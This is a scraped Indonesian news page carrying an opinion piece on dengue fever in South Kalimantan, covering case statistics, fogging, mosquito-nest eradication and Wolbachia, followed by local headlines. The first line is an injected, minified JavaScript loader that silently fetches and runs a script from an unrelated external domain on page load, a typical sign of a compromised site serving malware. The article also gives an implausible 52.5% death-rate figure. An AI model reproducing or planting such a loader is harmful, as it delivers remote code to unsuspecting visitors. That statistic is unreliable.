(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
OPINI

Menuju Kalimantan Selatan Bebas DBD, Mungkinkan?


Penulis : Iki Lunisa

Indonesia merupakan daerah endemik penyakit Demam Berdarah Dengue (DBD) yang masih menjadi salah satu masalah kesehatan utama masyarakat di Indonesia. Jumlah penderita dan luas daerah penyebarannya semakin bertambah seiring dengan meningkatnya mobilitas dan kepadatan penduduk.

Di Indonesia, DBD pertama kali ditemukan di kota Surabaya pada tahun 1968 dimana sebanyak 58 orang terinfeksi dan 24 orang diantaranya meninggal dunia. Sejak saat itu, penyakit ini menyebar luas ke seluruh Indonesia. Telah dilaporkan terdapat peningkatan jumlah kasus demam dengue dan demam berdarah dengue di Indonesia yaitu 58.065 kasus pada tahun 2011 menjadi 74.062 kasus pada tahun 2012.

Angka kematian di Indonesia merupakan peringkat pertama di Asia Tenggara yaitu 52,5% diikuti dengan negara Sri Lanka di posisi kedua yaitu 17,9%. Kalimantan menjadi salah satu penyebaran DBD yang paling tinggi.

Baca juga : Saidi Mansyur Ajak Semua Pihak Tingkatkan Upaya Pencegahan Karhutla

DBD merupakan penyakit infeksi tular vektor yang sering menyebabkan Kejadian Luar Biasa (KLB), dan tidak sedikit menyebabkan kematian. Penyakit ini bersifat musiman yaitu biasanya pada musim hujan yang memungkinkan vektor penular (Aedes Aegypti dan Aedes Albopictus) hidup di genangan air bersih. Berdasarkan catatan Dinas Kesehatan Provinsi Kalimantan Selatan diketahui sepanjang tahun 2022, kasus DBD di Kalimantan Selatan mencapai 1.014 kasus. Kasus terbanyak terjadi di Kabupaten Banjar (230 kasus), diikuti Kota Banjarbaru (140 kasus), Kabupaten Kotabaru (139 kasus), dan Hulu Sungai Tengah (109 kasus), dimana 8 kasus DBD di antaranya mengakibatkan kematian.

Pemerintah Provinsi Kalimantan Selatan telah melakukan berbagai upaya yang terus menerus dilakukan tiap tahunnya. Salah satunya melalui kegiatan promotif, dimana kegiatan ini terdiri dari beberapa kegiatan yaitu penyuluhan DBD. Kegiatan dilakukan secara lintas sektoral dengan Dinas Pendidikan dalam hal ini sekolah-sekolah. Melibatkan kegiatan PKK baik di tingkat kecamatan maupun kelurahan hingga desa. Kegiatan promotif lainnya melalui press realease dilakukan melalui media cetak dan elektronik. Tujuan dari kegiatan penyuluhan itu sendiri adalah memberikan pengetahuan, kemauan, dan kemampuan pada masyarakat agar ikut berpartisipasi dalam kegiatan PSN (Pemberantasan Sarang Nyamuk) minimal di rumahnya sendiri.

Baca juga: Terdakwa Korupsi Dana KIP Mahasiswa UNU Kalsel Divonis 5 Tahun Bayar Rp 1,9 Miliar

Selanjutnya memberantas nyamuk penular (vektor) dengan menggunakan insektisida lewat fogging alias pengasapan rumah ke rumah dan untuk membunuh jentik dengan memberikan bubuk abate ke dalam penampungan air. Untuk itu pemerintah daerah melalui dinas kesehatan setiap tahunnya di bulan November mencanangkan grebek DBD dengan memberantas sarang nyamuk dan fogging atau pengasapan agar dapat menekan jumlah kasus yang cenderung meningkat sekaligus mengajak masyarakat untuk melakukan “3M” Plus.

Selain itu, upaya penanggulangan DBD yang dapat dilakukan berbasis bioteknologi yaitu pengendalian alternatif yang dapat dilakukan dengan melakukan penanaman tanaman aromatic (lavender, sereh wangi, dan kemangi) di sekitar tempat tinggal, pembinaan pembuatan biolarvasida yang bertujuan untuk membasmi hewan vector dari larva hingga dewasa dan menghindari terjadinya resistensi hewan vector.

Selanjutnya pengendalian dengan memanfaatkan endosimbion bakteri wolbachia yang terbukti dan sukses telah di terapkan di Daerah Istimewa Yogyakarta, Bantul. Upaya menuju Kalsel bebas DBD bukan hanya menjadi tanggung jawab pemerintah saja, melainkan juga masyarakat dan mitra di bidang kesehatan. Hal ini dapat terwujut dengan adanya kerjasama yang sinergis. Dari semua upaya yang telah dilakukan dan direncanakan yang belum terlaksana, harapannya dapat mengurangi kasus DBD dan memutus rantai penyebaran tular vector (Aedes Agypti) yang ada di Kalimantan Selatan.

Mahasiswa Program Studi Biologi,
Fakultas Bioteknologi
Universitas Kristen Duta Wacana. (***)

Editor : kk


Risa

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

3 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

5 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

5 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

6 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

6 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

7 jam ago